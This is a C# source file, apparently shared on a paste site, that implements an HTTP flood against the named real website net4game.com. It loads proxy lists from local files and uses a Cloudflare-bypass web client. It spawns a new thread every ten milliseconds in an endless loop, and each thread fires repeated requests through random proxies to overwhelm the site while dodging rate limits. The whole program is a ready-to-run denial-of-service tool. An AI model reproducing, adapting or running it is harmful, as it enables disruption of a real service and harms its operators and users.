using Cloudflare_Bypass;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace AppTest
{
class Program
{
private static List<WebProxy> proxies = new List<WebProxy>();
private static int proxyIterator = 0;
private static int agentsIterator = 0;
public static string url = "";
public static void loadProxies()
{
string path = @"C:\Users\fszym\Desktop\proxies\proxies.txt";
string readText = "";
try {
readText = File.ReadAllText(path);
} catch {
readText = File.ReadAllText(@"C:\Users\Filip\Desktop\proxies2.txt");
}
string[] proxies_array = readText.Split('\n');
foreach (var proxy in proxies_array) {
try {
string[] data = proxy.Split(':');
var _proxy = new WebProxy(data[0], Convert.ToInt32(data[1]));
_proxy.BypassProxyOnLocal = false;
proxies.Add(_proxy);
proxyIterator++;
} catch {
Console.WriteLine("[ERR] Error while loading proxies.");
}
}
Console.WriteLine($"Loaded successfully {proxyIterator} proxy!");
}
public static WebProxy getRandomProxy() {
Random r = new Random();
int index = r.Next(0, proxies.Count);
return proxies[index];
}
static void Main(string[] args) {
loadProxies();
Thread thr = new Thread(LoadThreads);
thr.Start();
Console.ReadLine();
}
public static void LoadThreads() {
while (true)
{
Thread thr = new Thread(SendRequest);
thr.Start();
Random rand = new Random();
Thread.Sleep(10);
}
}
public static void SendRequest() {
for (int i = 0; i < 5; i++)
{
try
{
CF_WebClient client = new CF_WebClient();
client.CookieContainer.Add(new Cookie("a", "1") { Domain = "net4game.com" });
client.Proxy = getRandomProxy();
client.DownloadString($"https://net4game.com");
Console.WriteLine("[S] Successfully sended packets.");
}
catch
{
Console.WriteLine("[E] Error while sending packets.");
}
}
Thread.CurrentThread.Abort();
}
}
}
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}